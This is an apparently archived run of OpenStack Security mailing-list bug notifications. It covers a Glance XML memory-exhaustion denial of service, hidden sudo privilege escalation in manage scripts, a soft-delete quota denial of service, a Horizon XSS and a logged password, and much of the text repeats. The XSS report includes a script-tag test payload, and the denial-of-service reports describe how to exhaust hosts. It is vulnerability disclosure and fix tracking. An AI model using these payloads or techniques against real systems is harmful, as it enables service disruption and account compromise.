  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 79.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1181248 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 85.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 817244 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 548636 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 74.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 118932 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting enough of these requests at once, glance-api runs out
  of memory and can't restart itself. Here's what the log looks like
  after the "killer request" [4]

  -----------------------------------------
  Mitigation
  -----------------------------------------

  Any instances of xml.etree should be replaced with their equivalent in
  a secure XML parsing library like defusedxml [5]

  1: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L21-L24
  2: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L184
  3: https://docs.python.org/2/library/xml.html#xml-vulnerabilities
  4: https://gist.github.com/cneill/5265d887e0125c0e20254282a6d8ae64
  5: https://pypi.python.org/pypi/defusedxml

  -----------------------------------------
  Other
  -----------------------------------------
  Thanks to Rahul Nair from the OpenStack Security Project for bringing the ovf_process file to my attention in the first place. We are testing Glance for security defects as part of OSIC, using our API security testing tool called Syntribos (https://github.com/openstack/syntribos), and Bandit (which was used to discover this issue).

To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1625402/+subscriptions



From 1611171 at bugs.launchpad.net  Tue Oct 11 15:00:00 2016
From: 1611171 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 11 Oct 2016 15:00:00 -0000
Subject: [Openstack-security] [Bug 1611171] Re: re-runs self via sudo
References: <20160809015520.22289.87995.malonedeb@soybean.canonical.com>
Message-ID: <20161011150000.4889.31357.malone@gac.canonical.com>

Reviewed:  https://review.openstack.org/352866
Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=87530b6e674750ab0d55b70cce4d96bf26d1f49a
Submitter: Jenkins
Branch:    master

commit 87530b6e674750ab0d55b70cce4d96bf26d1f49a
Author: Markus Zoeller <mzoeller at de.ibm.com>
Date:   Tue Aug 9 13:55:54 2016 +0200

    Don't attempt to escalate nova-manage privileges
    
    Remove code which allowed nova-manage to attempt to escalate
    privileges so that configuration files can be read by users who
    normally wouldn't have access, but do have sudo access.
    
    The privilege escalation came into nova-manage with commit e9fd01e
    to solve bug 805695. That bug report didn't describe a faulty behavior
    but a change request.
    
    NOTE: This is related to change I03063d2 from Kiall Mac Innes who did
    this for the "designate" project. I'm reusing the change-id from his
    change to make it clear that they are related to each other.
    
    NOTE: I removed the try-except block completely, as it doesn't make
    sense to continue when we cannot read the config file (due to a wrong
    path or permission errors). That's the same approach we used in the
    recent "nova/cmd/policy_check" module.
    https://github.com/openstack/nova/blob/master/nova/cmd/policy_check.py#L158
    
    Co-Authored-By: Kiall Mac Innes <kiall at macinnes.ie>
    Closes-Bug: 1611171
    Change-Id: I03063d2af14015e6506f1b6e958f5ff219aa4a87


** Changed in: nova
       Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1611171

Title:
  re-runs self via sudo

Status in Cinder:
  Fix Released
Status in Designate:
  In Progress
Status in ec2-api:
  In Progress
Status in gce-api:
  In Progress
Status in Manila:
  In Progress
Status in masakari:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix
Status in Rally:
  In Progress

Bug description:
  Hello, I'm looking through Designate source code to determine if is
  appropriate to include in Ubuntu Main. This isn't a full security
  audit.

  This looks like trouble:

  ./designate/cmd/manage.py

  def main():
      CONF.register_cli_opt(category_opt)

      try:
          utils.read_config('designate', sys.argv)
          logging.setup(CONF, 'designate')
      except cfg.ConfigFilesNotFoundError:
          cfgfile = CONF.config_file[-1] if CONF.config_file else None
          if cfgfile and not os.access(cfgfile, os.R_OK):
              st = os.stat(cfgfile)
              print(_("Could not read %s. Re-running with sudo") % cfgfile)
              try:
                  os.execvp('sudo', ['sudo', '-u', '#%s' % st.st_uid] + sys.argv)
              except Exception:
                  print(_('sudo failed, continuing as if nothing happened'))

          print(_('Please re-run designate-manage as root.'))
          sys.exit(2)

  
  This is an interesting decision -- if the configuration file is _not_ readable by the user in question, give the executing user complete privileges of the user that owns the unreadable file.

  I'm not a fan of hiding privilege escalation / modifications in
  programs -- if a user had recently used sudo and thus had the
  authentication token already stored for their terminal, this 'hidden'
  use of sudo may be unexpected and unwelcome, especially since it
  appears that argv from the first call leaks through to the sudo call.

  Is this intentional OpenStack style? Or unexpected for you guys too?

  (Feel free to make this public at your convenience.)

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/1611171/+subscriptions



From 1611171 at bugs.launchpad.net  Wed Oct 12 09:38:40 2016
From: 1611171 at bugs.launchpad.net (OpenStack Infra)
Date: Wed, 12 Oct 2016 09:38:40 -0000
Subject: [Openstack-security] [Bug 1611171] Fix proposed to nova
	(stable/newton)
References: <20160809015520.22289.87995.malonedeb@soybean.canonical.com>
Message-ID: <20161012093840.19921.32491.malone@wampee.canonical.com>

Fix proposed to branch: stable/newton
Review: https://review.openstack.org/385365

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1611171

Title:
  re-runs self via sudo

Status in Cinder:
  Fix Released
Status in Designate:
  In Progress
Status in ec2-api:
  In Progress
Status in gce-api:
  In Progress
Status in Manila:
  In Progress
Status in masakari:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix
Status in Rally:
  In Progress

Bug description:
  Hello, I'm looking through Designate source code to determine if is
  appropriate to include in Ubuntu Main. This isn't a full security
  audit.

  This looks like trouble:

  ./designate/cmd/manage.py

  def main():
      CONF.register_cli_opt(category_opt)

      try:
          utils.read_config('designate', sys.argv)
          logging.setup(CONF, 'designate')
      except cfg.ConfigFilesNotFoundError:
          cfgfile = CONF.config_file[-1] if CONF.config_file else None
          if cfgfile and not os.access(cfgfile, os.R_OK):
              st = os.stat(cfgfile)
              print(_("Could not read %s. Re-running with sudo") % cfgfile)
              try:
                  os.execvp('sudo', ['sudo', '-u', '#%s' % st.st_uid] + sys.argv)
              except Exception:
                  print(_('sudo failed, continuing as if nothing happened'))

          print(_('Please re-run designate-manage as root.'))
          sys.exit(2)

  
  This is an interesting decision -- if the configuration file is _not_ readable by the user in question, give the executing user complete privileges of the user that owns the unreadable file.

  I'm not a fan of hiding privilege escalation / modifications in
  programs -- if a user had recently used sudo and thus had the
  authentication token already stored for their terminal, this 'hidden'
  use of sudo may be unexpected and unwelcome, especially since it
  appears that argv from the first call leaks through to the sudo call.

  Is this intentional OpenStack style? Or unexpected for you guys too?

  (Feel free to make this public at your convenience.)

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/1611171/+subscriptions



From 1568070 at bugs.launchpad.net  Wed Oct 12 16:10:40 2016
From: 1568070 at bugs.launchpad.net (Christian Berendt)
Date: Wed, 12 Oct 2016 16:10:40 -0000
Subject: [Openstack-security] [Bug 1568070] Re: Security: Identify which
	changes require a reboot
References: <20160408175640.32100.77020.malonedeb@soybean.canonical.com>
Message-ID: <20161012161043.5492.98492.launchpad@gac.canonical.com>

** Changed in: openstack-ansible
     Assignee: Christian Berendt (berendt-betacloud) => (unassigned)

** Changed in: openstack-ansible
       Status: In Progress => Incomplete

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1568070

Title:
  Security: Identify which changes require a reboot

Status in openstack-ansible:
  Incomplete

Bug description:
  Some changes made by openstack-ansible-security require a reboot. It
  would be nice to alert the deployer to those changes at the end of the
  playbook run so they know if they had a change made that requires a
  reboot.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-ansible/+bug/1568070/+subscriptions



From mriedem at us.ibm.com  Fri Oct 14 18:59:12 2016
From: mriedem at us.ibm.com (Matt Riedemann)
Date: Fri, 14 Oct 2016 18:59:12 -0000
Subject: [Openstack-security] [Bug 1611171] Re: re-runs self via sudo
References: <20160809015520.22289.87995.malonedeb@soybean.canonical.com>
Message-ID: <20161014185912.27563.62068.launchpad@wampee.canonical.com>

** Also affects: nova/newton
   Importance: Undecided
       Status: New

** Changed in: nova/newton
   Importance: Undecided => Medium

** Changed in: nova/newton
       Status: New => In Progress

** Changed in: nova/newton
     Assignee: (unassigned) => Lee Yarwood (lyarwood)

** Changed in: nova
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1611171

Title:
  re-runs self via sudo

Status in Cinder:
  Fix Released
Status in Designate:
  In Progress
Status in ec2-api:
  In Progress
Status in gce-api:
  In Progress
Status in Manila:
  In Progress
Status in masakari:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Compute (nova) newton series:
  In Progress
Status in OpenStack Security Advisory:
  Won't Fix
Status in Rally:
  In Progress

Bug description:
  Hello, I'm looking through Designate source code to determine if is
  appropriate to include in Ubuntu Main. This isn't a full security
  audit.

  This looks like trouble:

  ./designate/cmd/manage.py

  def main():
      CONF.register_cli_opt(category_opt)

      try:
          utils.read_config('designate', sys.argv)
          logging.setup(CONF, 'designate')
      except cfg.ConfigFilesNotFoundError:
          cfgfile = CONF.config_file[-1] if CONF.config_file else None
          if cfgfile and not os.access(cfgfile, os.R_OK):
              st = os.stat(cfgfile)
              print(_("Could not read %s. Re-running with sudo") % cfgfile)
              try:
                  os.execvp('sudo', ['sudo', '-u', '#%s' % st.st_uid] + sys.argv)
              except Exception:
                  print(_('sudo failed, continuing as if nothing happened'))

          print(_('Please re-run designate-manage as root.'))
          sys.exit(2)

  
  This is an interesting decision -- if the configuration file is _not_ readable by the user in question, give the executing user complete privileges of the user that owns the unreadable file.

  I'm not a fan of hiding privilege escalation / modifications in
  programs -- if a user had recently used sudo and thus had the
  authentication token already stored for their terminal, this 'hidden'
  use of sudo may be unexpected and unwelcome, especially since it
  appears that argv from the first call leaks through to the sudo call.

  Is this intentional OpenStack style? Or unexpected for you guys too?

  (Feel free to make this public at your convenience.)

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/1611171/+subscriptions



From 1501808 at bugs.launchpad.net  Fri Oct 14 19:46:28 2016
From: 1501808 at bugs.launchpad.net (OpenStack Infra)
Date: Fri, 14 Oct 2016 19:46:28 -0000
Subject: [Openstack-security] [Bug 1501808] Re: Enabling soft-deletes opens
	a DOS on compute hosts
References: <20151001152652.22834.78736.malonedeb@gac.canonical.com>
Message-ID: <20161014194629.23141.90603.malone@soybean.canonical.com>

Fix proposed to branch: master
Review: https://review.openstack.org/386756

** Changed in: nova
       Status: Triaged => In Progress

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1501808

Title:
  Enabling soft-deletes opens a DOS on compute hosts

Status in OpenStack Compute (nova):
  In Progress
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  If the user sets reclaim_instance_interval to anything other than 0,
  then when a user requests an instance delete, it will instead be soft
  deleted. Soft delete explicitly releases the user's quota, but does
  not release the instance's resources until period task
  _reclaim_queued_deletes runs with a period of
  reclaim_instance_interval seconds.

  A malicious authenticated user can repeatedly create and delete
  instances without limit, which will consume resources on the host
  without consuming their quota. If done quickly enough, this will
  exhaust host resources.

  I'm not entirely sure what to suggest in remediation, as this seems to
  be a deliberate design. The most obvious fix would be to not release
  quota until the instance is reaped, but that would be a significant
  change in behaviour.

  This is very similar to https://bugs.launchpad.net/bugs/cve/2015-3280
  , except that we do it deliberately.

To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1501808/+subscriptions



From 1611171 at bugs.launchpad.net  Mon Oct 17 00:40:28 2016
From: 1611171 at bugs.launchpad.net (OpenStack Infra)
Date: Mon, 17 Oct 2016 00:40:28 -0000
Subject: [Openstack-security] [Bug 1611171] Re: re-runs self via sudo
References: <20160809015520.22289.87995.malonedeb@soybean.canonical.com>
Message-ID: <20161017004028.28165.21802.malone@wampee.canonical.com>

Reviewed:  https://review.openstack.org/385365
Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=28e618921c5bf63b0d7d17fcbe3084fdda153997
Submitter: Jenkins
Branch:    stable/newton

commit 28e618921c5bf63b0d7d17fcbe3084fdda153997
Author: Markus Zoeller <mzoeller at de.ibm.com>
Date:   Tue Aug 9 13:55:54 2016 +0200

    Don't attempt to escalate nova-manage privileges
    
    Remove code which allowed nova-manage to attempt to escalate
    privileges so that configuration files can be read by users who
    normally wouldn't have access, but do have sudo access.
    
    The privilege escalation came into nova-manage with commit e9fd01e
    to solve bug 805695. That bug report didn't describe a faulty behavior
    but a change request.
    
    NOTE: This is related to change I03063d2 from Kiall Mac Innes who did
    this for the "designate" project. I'm reusing the change-id from his
    change to make it clear that they are related to each other.
    
    NOTE: I removed the try-except block completely, as it doesn't make
    sense to continue when we cannot read the config file (due to a wrong
    path or permission errors). That's the same approach we used in the
    recent "nova/cmd/policy_check" module.
    https://github.com/openstack/nova/blob/master/nova/cmd/policy_check.py#L158
    
    Co-Authored-By: Kiall Mac Innes <kiall at macinnes.ie>
    Closes-Bug: 1611171
    Change-Id: I03063d2af14015e6506f1b6e958f5ff219aa4a87
    (cherry picked from commit 87530b6e674750ab0d55b70cce4d96bf26d1f49a)


** Changed in: nova/newton
       Status: In Progress => Fix Committed

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1611171

Title:
  re-runs self via sudo

Status in Cinder:
  Fix Released
Status in Designate:
  In Progress
Status in ec2-api:
  In Progress
Status in gce-api:
  In Progress
Status in Manila:
  In Progress
Status in masakari:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Compute (nova) newton series:
  Fix Committed
Status in OpenStack Security Advisory:
  Won't Fix
Status in Rally:
  In Progress

Bug description:
  Hello, I'm looking through Designate source code to determine if is
  appropriate to include in Ubuntu Main. This isn't a full security
  audit.

  This looks like trouble:

  ./designate/cmd/manage.py

  def main():
      CONF.register_cli_opt(category_opt)

      try:
          utils.read_config('designate', sys.argv)
          logging.setup(CONF, 'designate')
      except cfg.ConfigFilesNotFoundError:
          cfgfile = CONF.config_file[-1] if CONF.config_file else None
          if cfgfile and not os.access(cfgfile, os.R_OK):
              st = os.stat(cfgfile)
              print(_("Could not read %s. Re-running with sudo") % cfgfile)
              try:
                  os.execvp('sudo', ['sudo', '-u', '#%s' % st.st_uid] + sys.argv)
              except Exception:
                  print(_('sudo failed, continuing as if nothing happened'))

          print(_('Please re-run designate-manage as root.'))
          sys.exit(2)

  
  This is an interesting decision -- if the configuration file is _not_ readable by the user in question, give the executing user complete privileges of the user that owns the unreadable file.

  I'm not a fan of hiding privilege escalation / modifications in
  programs -- if a user had recently used sudo and thus had the
  authentication token already stored for their terminal, this 'hidden'
  use of sudo may be unexpected and unwelcome, especially since it
  appears that argv from the first call leaks through to the sudo call.

  Is this intentional OpenStack style? Or unexpected for you guys too?

  (Feel free to make this public at your convenience.)

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/1611171/+subscriptions



From 1492398 at bugs.launchpad.net  Mon Oct 17 04:19:35 2016
From: 1492398 at bugs.launchpad.net (Launchpad Bug Tracker)
Date: Mon, 17 Oct 2016 04:19:35 -0000
Subject: [Openstack-security] [Bug 1492398] Re: VXLAN Overlay ping issue
 when Gateway IP is set to one of local NIC's IP address
References: <20150904170107.9123.65334.malonedeb@wampee.canonical.com>
Message-ID: <20161017041936.21609.69015.malone@loganberry.canonical.com>

[Expired for neutron because there has been no activity for 60 days.]

** Changed in: neutron
       Status: Incomplete => Expired

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1492398

Title:
  VXLAN Overlay ping issue when Gateway IP is set to one of local NIC's
  IP address

Status in neutron:
  Expired
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  This issue is being treated as a potential security risk under
  embargo. Please do not make any public mention of embargoed (private)
  security vulnerabilities before their coordinated publication by the
  OpenStack Vulnerability Management Team in the form of an official
  OpenStack Security Advisory. This includes discussion of the bug or
  associated fixes in public forums such as mailing lists, code review
  systems and bug trackers. Please also avoid private disclosure to
  other individuals not already approved for access to this information,
  and provide this same reminder to those who are made aware of the
  issue prior to publication. All discussion should remain confined to
  this private bug report, and any proposed fixes should be added to the
  bug as attachments.

  There's an issue when a VXLAN overlay VM tries to ping an overlay IP
  address that is also the same as one of the host machine's local IP
  addresses. In my setup, I've tried pinging the overlay VM's router's
  IP address. Here are the details:

  VXLAN Id is 100 (this number is immaterial, what matters is that we
  use VXLAN for tenant traffic)

  Overlay VM:
  IP: 10.0.1.3/24
  GW: 10.0.1.1

  Host Info:
  enp21s0f0: 1.1.1.5/24 (This interface is used to contact the controller as well as for encapsulated datapath traffic.

  qbr89a962f7-9b: Linux Bridge to which the Overlay VM connects. No IP
  address on this one.

  brctl show:
  qbr89a962f7-9b          8000.56f6fefb9d5c       no              qvb89a962f7-9b
                                                          tap89a962f7-9b

  ifconfig qbr89a962f7-9b
  qbr89a962f7-9b: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
          inet6 fe80::54f6:feff:fefb:9d5c  prefixlen 64  scopeid 0x20<link>
          ether 56:f6:fe:fb:9d:5c  txqueuelen 0  (Ethernet)
          RX packets 916  bytes 27072 (26.4 KiB)
          RX errors 0  dropped 0  overruns 0  frame 0
          TX packets 10  bytes 780 (780.0 B)
          TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

  I am using a previously unused NIC named eno1 for this example. When
  eno1 has no IP address, ping from the overlay VM to the router is
  successful. ARP on the VM shows the correct MAC resolution. When I set
  eno1 to 10.0.1.1, ARP on the overlay VM show's qbr89a962f7-9b's MAC
  address and ping never succeeds.

  When things work OK ARP for 10.0.1.1 is fa:16:3e:0c:52:6d

  When eno1 is set to 10.0.1.1 ARP resolution is incorrect, 10.0.1.1
  resolves to 56:f6:fe:fb:9d:5c and ping never succeeds. I've deleted
  ARPs to ensure that resolution is triggered. It appears as of the OVS
  br-int never received the ARP request.

  Thanks,
  -Uday

To manage notifications about this bug go to:
https://bugs.launchpad.net/neutron/+bug/1492398/+subscriptions



From 1419577 at bugs.launchpad.net  Tue Oct 18 04:45:54 2016
From: 1419577 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 18 Oct 2016 04:45:54 -0000
Subject: [Openstack-security] [Bug 1419577] Related fix merged to nova
	(master)
References: <20150209012956.20741.53343.malonedeb@chaenomeles.canonical.com>
Message-ID: <20161018044554.28981.71256.malone@chaenomeles.canonical.com>

Reviewed:  https://review.openstack.org/342111
Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=b83cae02ece4c338e09c3606c6ae69b715bd6f8c
Submitter: Jenkins
Branch:    master

commit b83cae02ece4c338e09c3606c6ae69b715bd6f8c
Author: Lee Yarwood <lyarwood at redhat.com>
Date:   Thu Jul 14 11:53:09 2016 +0100

    block_device: Make refresh_conn_infos py3 compatible
    
    Also add a simple test ensuring that refresh_connection_info is called
    for each DriverVolumeBlockDevice derived device provided.
    
    Related-Bug: #1419577
    Partially-Implements: blueprint goal-python35
    Change-Id: Ib1ff00e7f4f5b599317d7111c322ce9af8a9a2b1

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1419577

Title:
  when live-migrate failed, lun-id couldn't be rollback in havana

Status in OpenStack Compute (nova):
  In Progress
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  Hi, guys

  When live-migrate failed with error, lun-id of connection_info column in Nova's block_deivce_mapping table couldn't be rollback.
  and failed VM can have others volume.

  my test environment is following :

  Openstack Version : Havana ( 2013.2.3)
  Compute Node OS : 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
  Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2

  test step is :

  1) create 2 Compute node (host#1 and host#2)
  2) create 1 VM on host#1 (vm01)
  3) create 1 cinder volume (vol01)
  4) attach 1 volume to vm01 (/dev/vdb)
  5) live-migrate vm01 from host#1 to host#2
  6) live-migrate success
       - please check the mapper by using multipath command in host#1 (# multipath -ll), then you can find mapper is not deleted.
         and the status of devices is "failed faulty"
       - please check the lun-id of vol01
  7) Again, live-migrate vm01 from host#2 to host#1 (vm01 was migrated to host#2 at step 4)
  8) live-migrate fail
       - please check the mapper in host#1
       - please check the lun-id of vol01, then you can find the lun hav "two" igroups
       - please check the connection_info column in Nova's block_deivce_mapping table, then you can find lun-id couldn't be rollback

  This Bug is critical security issue because the failed VM can have
  others volume.

  and every backend storage of cinder-volume can have same problem
  because this is the bug of live-migration's rollback process.

  I suggest below methods to solve issue :

  1) when live-migrate is complete, nova should delete mapper devices at origin host
  2) when live-migrate is failed, nova should rollback lun-id in connection_info column
  3) when live-migrate is failed, cinder should delete the mapping between lun and host (Netapp : igroup, EMC : storage_group ...)
  4) when volume-attach is requested , cinder volume driver of vendors should make lun-id randomly for reduce of probability of mis-mapping

  please check this bug.

  Thank you.

To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1419577/+subscriptions



From 1622690 at bugs.launchpad.net  Tue Oct 18 16:50:32 2016
From: 1622690 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 18 Oct 2016 16:50:32 -0000
Subject: [Openstack-security] [Bug 1622690] Fix included in
	openstack/horizon 10.0.0.0rc1
References: <20160912171951.2128.2126.malonedeb@wampee.canonical.com>
Message-ID: <20161018165032.30467.74546.malone@chaenomeles.canonical.com>

This issue was fixed in the openstack/horizon 10.0.0.0rc1 release
candidate.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1622690

Title:
  Potential XSS in image create modal or angular table

Status in OpenStack Dashboard (Horizon):
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  The Image Create modal allows you to create an image sending unencoded
  HTML and JavaScript. This could lead to a potential XSS attack

  Steps to reproduce:

  1. Go to project>images
  2. Click on "Create image"
  3. In the "Image Name" input enter some HTML code or script code (i.e <h1>This is bad</h1>, <script>alert('This is bad');</script>)
  4. Fill in other required fields
  5. Click on 'Create Image'

  Expected Result:
  The image is created but the name is safely encoded and it's shown in the table as it was written

  Actual Result:
  The image name is not encoded an therefore is being rendered as HTML by the browser.

To manage notifications about this bug go to:
https://bugs.launchpad.net/horizon/+bug/1622690/+subscriptions



From 1618879 at bugs.launchpad.net  Tue Oct 18 16:57:40 2016
From: 1618879 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 18 Oct 2016 16:57:40 -0000
Subject: [Openstack-security] [Bug 1618879] Fix included in
	openstack/neutron 9.0.0.0rc1
References: <20160831130211.12061.23842.malonedeb@chaenomeles.canonical.com>
Message-ID: <20161018165741.28759.46363.malone@chaenomeles.canonical.com>

This issue was fixed in the openstack/neutron 9.0.0.0rc1 release
candidate.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1618879

Title:
  iptables rule always be thrashed when update a little rule

Status in neutron:
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  When update meter label or rule, iptables_manager will update iptables
  rule in router's namespace. In order to, it will clean traffic counter
  number collected in interval time, the other iptables always trashing
  that will clean old iptalbes rule and generate new same significance
  iptables rule.

  the example from update meter label:
   
  Generated by iptables_manager
  *filter
  :neutron-meter-neutron-met - [0:0]
  :neutron-meter-r-00599199-632 - [0:0]
  -I FORWARD 2 -j neutron-meter-FORWARD
  -D FORWARD 4
  -I INPUT 1 -j neutron-meter-INPUT
  -D INPUT 3
  -I OUTPUT 2 -j neutron-meter-OUTPUT
  -D OUTPUT 4
  -I neutron-filter-top 1 -j neutron-meter-local
  -D neutron-filter-top 3
  -D neutron-meter-l-00e4e019-099 1
  -I neutron-meter-l-00e4e019-099 1
  -D neutron-meter-l-01e4e019-099 1
  -I neutron-meter-l-01e4e019-099 1
  -I neutron-meter-r-00599199-632 1 -i qg-f0732f6f-8e -d 192.168.10.0/24 -j neutron-meter-l-00599199-632
  COMMIT
  # Completed by iptables_manager
  # Generated by iptables_manager
  *raw
  -I OUTPUT 1 -j neutron-meter-OUTPUT
  -D OUTPUT 3
  -I PREROUTING 1 -j neutron-meter-PREROUTING
  -D PREROUTING 3
  COMMIT
  # Completed by iptables_manager

To manage notifications about this bug go to:
https://bugs.launchpad.net/neutron/+bug/1618879/+subscriptions



From chuck.short at canonical.com  Thu Oct 20 13:32:21 2016
From: chuck.short at canonical.com (Chuck Short)
Date: Thu, 20 Oct 2016 13:32:21 -0000
Subject: [Openstack-security] [Bug 1422046] Re: cinder backup-list is always
 listing all tenants's bug for admin
References: <20150215013602.20879.11525.malonedeb@wampee.canonical.com>
Message-ID: <20161020133227.23019.87871.launchpad@soybean.canonical.com>

** Changed in: python-cinderclient (Ubuntu)
       Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1422046

Title:
  cinder backup-list is always listing all tenants's bug for admin

Status in OpenStack Dashboard (Horizon):
  New
Status in ospurge:
  Fix Committed
Status in OpenStack Security Advisory:
  Won't Fix
Status in python-cinderclient:
  Fix Released
Status in python-cinderclient package in Ubuntu:
  Fix Released

Bug description:
  cinder backup-list doesn't support '--all-tenants' argument for admin
  wright now. This lead to admin always getting all tenants's backups.

To manage notifications about this bug go to:
https://bugs.launchpad.net/horizon/+bug/1422046/+subscriptions



From fungi at yuggoth.org  Fri Oct 21 00:51:30 2016
From: fungi at yuggoth.org (Jeremy Stanley)
Date: Fri, 21 Oct 2016 00:51:30 -0000
Subject: [Openstack-security] [Bug 1634907] Re: Auth password is being
 printed to logs in opendaylight client
References: <20161019135504.30434.25617.malonedeb@chaenomeles.canonical.com>
Message-ID: <20161021005130.21305.52182.malone@gac.canonical.com>

No advisory warranted, report class B3 (A vulnerability in experimental
or debugging features not intended for production use) per the OpenStack
VMT taxonomy: https://security.openstack.org/vmt-process.html#incident-
report-taxonomy

** Information type changed from Public Security to Public

** Changed in: ossa
       Status: Incomplete => Won't Fix

** Tags added: security

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1634907

Title:
  Auth password is being printed to logs in opendaylight client

Status in Ceilometer:
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  The opendaylight client is printing debug that can potentially contain
  the user password. This should be redacted for security.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ceilometer/+bug/1634907/+subscriptions



From chuck.short at canonical.com  Fri Oct 21 20:12:09 2016
From: chuck.short at canonical.com (Chuck Short)
Date: Fri, 21 Oct 2016 20:12:09 -0000
Subject: [Openstack-security] [Bug 1355125] Re: keystonemiddleware appears
	not to hash PKIZ tokens
References: <20140811105447.23844.43062.malonedeb@wampee.canonical.com>
Message-ID: <20161021201212.21571.49760.launchpad@gac.canonical.com>

** Changed in: python-keystonemiddleware (Ubuntu)
       Status: New => Fix Released

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1355125

Title:
  keystonemiddleware appears not to hash PKIZ tokens

Status in keystonemiddleware:
  Fix Released
Status in python-keystoneclient:
  Fix Released
Status in python-keystonemiddleware package in Ubuntu:
  Fix Released

Bug description:
  It looks like Keystone hashes only PKI tokens [1] and test test_verify_signed_token_raises_exception_for_revoked_pkiz_token [2] does not take hashing into account (and checks only already hashed data and not hashing itself)
  And that should make token revocation for PKIZ tokens broken.

  
  [1] https://github.com/openstack/keystonemiddleware/blob/c9036a00ef3f7c4b9475799d5b713db7a2d94961/keystonemiddleware/auth_token.py#L1399
  [2] https://github.com/openstack/keystonemiddleware/blob/c9036a00ef3f7c4b9475799d5b713db7a2d94961/keystonemiddleware/tests/test_auth_token_middleware.py#L741

To manage notifications about this bug go to:
https://bugs.launchpad.net/keystonemiddleware/+bug/1355125/+subscriptions



From 1611171 at bugs.launchpad.net  Tue Oct 25 13:15:35 2016
From: 1611171 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 25 Oct 2016 13:15:35 -0000
Subject: [Openstack-security] [Bug 1611171] Re: re-runs self via sudo
References: <20160809015520.22289.87995.malonedeb@soybean.canonical.com>
Message-ID: <20161025131535.21114.86364.malone@gac.canonical.com>

Reviewed:  https://review.openstack.org/371917
Committed: https://git.openstack.org/cgit/openstack/gce-api/commit/?id=1e7910cc0886c7d992db75729d0735fe791cb34d
Submitter: Jenkins
Branch:    master

commit 1e7910cc0886c7d992db75729d0735fe791cb34d
Author: pallavi <pallavi.s at nectechnologies.in>
